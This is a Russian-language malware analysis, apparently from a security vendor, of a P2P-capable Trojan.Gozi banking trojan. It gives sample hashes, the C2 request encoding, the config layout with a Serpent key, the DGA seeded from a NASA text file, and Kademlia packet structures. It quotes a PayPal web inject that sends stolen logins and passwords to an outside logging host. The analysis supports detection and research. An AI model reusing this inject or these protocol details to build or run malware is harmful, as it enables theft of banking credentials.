sha1 (p2p версия) | 0fb30e03f71f0a20340ca0cb634e6250c14a1109 |
sha1 installer | 1720115a8a646f4a0a3741cec7266b82ff065a7e |
sha1 client.dll x32 | 0690ef42ff894dd85be873b4d95183a1af5f9a72 |
sha1 client.dll x64 | 2d9cb08d9f4ed28c55a93355c7e5ae39b1f43488 |
sha1 vnc32 | 3bb13d9d4b4eaabb314d90d294119d2f982736ac |
sha1 vnc64 | 17930b20f98ac7e92d28598901710254f1cf6315 |
Обновленная версия известного банковского троянца, обладающая функционалом для создания однорангового P2P-ботнета. Основные функции:
- похищение данных, которые пользователи вводят в различные экранные формы (формграббинг);
- фиксация нажатия клавиш (кейлоггинг);
- встраивание в просматриваемые на зараженном компьютере веб-страницы постороннего содержимого (веб-инжекты);
- получение удаленного доступа к рабочему столу зараженной машины с использованием технологии Virtual Network Computing (VNC);
- запуск по команде злоумышленников прокси-сервера SOCKS;
- загрузка и установка плагинов.
Для обмена данными троянец использует протокол HTTP, информация зашифрована в GET-запросе, который имеет следующий вид:
http://made****h.pw/images/EYI/uE4P5lkUATTfrO/L4Iv7VEvWWlYBM9qKuE67ixOoebU1ef9HHS7Xvwhns0o
bfoegeauxh8PajwSUrNkSFTtqnU/Fy/MyNURytngSxc_2FYvcf9O
98PFCv2bBHEE//jMiPVxyqqgQ/f_2/FBgMUnmhszPJ5_2BuSA.gif
В результате расшифровки получается строка:
jkwerhw=sdalfwewesd3&server=12&crc=7b033&version=214721&user=55deba95d542febda
b0e1570986cdaf0&soft=1&id=1045
где:
server, id — извлекаются из конфигурации троянца;
user – уникальный идентификатор бота;
crc - crc32 для конфигурации, если такой нет, то значение получается с помощью функции GetTickCount.
Троянец может отправлять запросы к разным типам сценариев:
- .jpeg – запрос конфигурации веб-инжектов;
- .gif – запрос персонального задания;
- .bmp – отправка на сервер логов, данные передаются в виде multipart/form-data.
Ответ сервера зашифрован с использованием алгоритмов RSA+Serpent+XOR. Если сообщение содержит информацию для выполнения веб-инжектов, они сжимаются с помощью aplib. Такие сообщения состоят из отдельных блоков:
struct block_t
{
DWORD size;
BYTE data[size]; //строка с нулевым символом в конце
}
Пример веб-инжекта в веб-страницу платежной системы PayPal:
*paypal.*
id="js_transactionCollection"
id="js_transactionCollection" style="visibility:hidden"
...
Order
*paypal.com/*/cgi-bin/merchantpaymentweb*
PROCESS
check.unitssl.com/log.php?action=log&text=pp;l=@login@;p=@pass@&botid=@ID@
*paypal.com/*/cgi-bin/merchantpaymentweb*
POST
login_email
login
*paypal.com/*/cgi-bin/merchantpaymentweb*
POST
login_password
pass
В последней секции исполняемого файла троянец хранит информацию о расположении собственной конфигурации:
2E 72 65 6C-6F 63 00 00-00 30 00 00-00 10 02 00 .reloc 0 ►☻
00 26 00 00-00 D8 01 00-00 00 00 00-00 00 00 00 & ╪☺
00 00 00 00-40 00 00 40-00 00 00 00-00 00 00 00 @ @
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
4A 31 00 00-00 32 02 00-84 00 00 00-64 5E 28 E1 J1 2☻ Д d^(с
00 01 01 00-4A 31 00 00-00 34 02 00-81 01 00 00 ☺☺ J1 4☻ Б☺
CB AF 22 D7-00 20 01 00-00 00 00 00-00 00 00 00 ╦п"╫ ☺
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
Секция конфигурации отыскивается по значению 0x314a и имеет вид:
struct config_block_t
{
WORD magic;
WORD numHashes;
DWORD pos; //rva конфигурации
DWORD size; //размер
DWORD id; //id конфигурации
DWORD flag; //0x10000 - компрессия aplib
DWORD hashes[numHashes];
};
Если установлен соответствующий флаг, после извлечения данные распаковываются с использованием aplib. Распакованные конфигурационные данные с сопоставленными параметрами имеют вид:
{"GROUP": "1045", "1481529637": "10", "SENDTIMEOUT": "200", "BCTIMEOUT": "10",
"CONFIGFAILTIMEOUT": "200", "TASKTIMEOUT": "200", "DGA_SEED": "1", "HOSTS": "127.0.0.1",
"SERVERKEY": "87654321POIUYTRE", "SERVER": "12", "KNOCKERTIMEOUT": "200",
"CONFIGTIMEOUT": "200", "287775871": "1"}
Где:
GROUP - id, SERVER - server в запросе;
DGA_SEED - константа инициализации DGA;
SERVERKEY - ключ для serpent;
HOSTS - список управляющих серверов через пробел.
Trojan.Gozi использует специальный алгоритм генерации доменов — Domain generation algorithm (DGA). Для этого троянец загружает с сервера NASA текстовый файл-словарь:
http://nssdc.gsfc.nasa.gov/planetary/text/pioneer-11_endops.txt
Этот файл разбирается на слова, вычисляется текущая дата, и на основе этой информации по специальному алгоритму формируется имя домена управляющего сервера. Троянец автоматически меняет управляющий сервер каждые 15 дней. Вся информация, которой Trojan.Gozi обменивается со своими командными серверами, шифруется.
Протокол для формирования одноранговой P2P-сети базируется на kademlia. UDP-пакеты зашифрованы с использованием RC4 и имеют следующую структуру:
struct kad_t
{
BYTE flag; //случайное значение, за исключением двух младших бит, 0 бит - пакет зашифрован sendKey, 1 бит - (1) пакет зашифрован sendKey=0 или (0) sendKey=nid1^nid2^nid3^nid4
DWORD rndKey; //случайная составляющая ключа
kad_transport_t transport; //зашифровано
kad_head_t head; // зашифровано
BYTE data[]; // зашифровано
}
struct kad_transport_t
{
DWORD magic; //значение 0x395F2EC1
DWORD sendKey; //случайное значение, используется для шифрования ответов
DWORD recvKey;
}
struct kad_head_t
{
BYTE opType; //0xe4 - UDP KAD
BYTE op; //команды протокола
WORD size; //длинна kad_t.data
};
Передаваемые и загруженные файлы троянец хранит в папке:
%APPDATA%\\Microsoft\\{%08X-%04X-%04X-%04X-%08X%04X}\<md5hashOfName>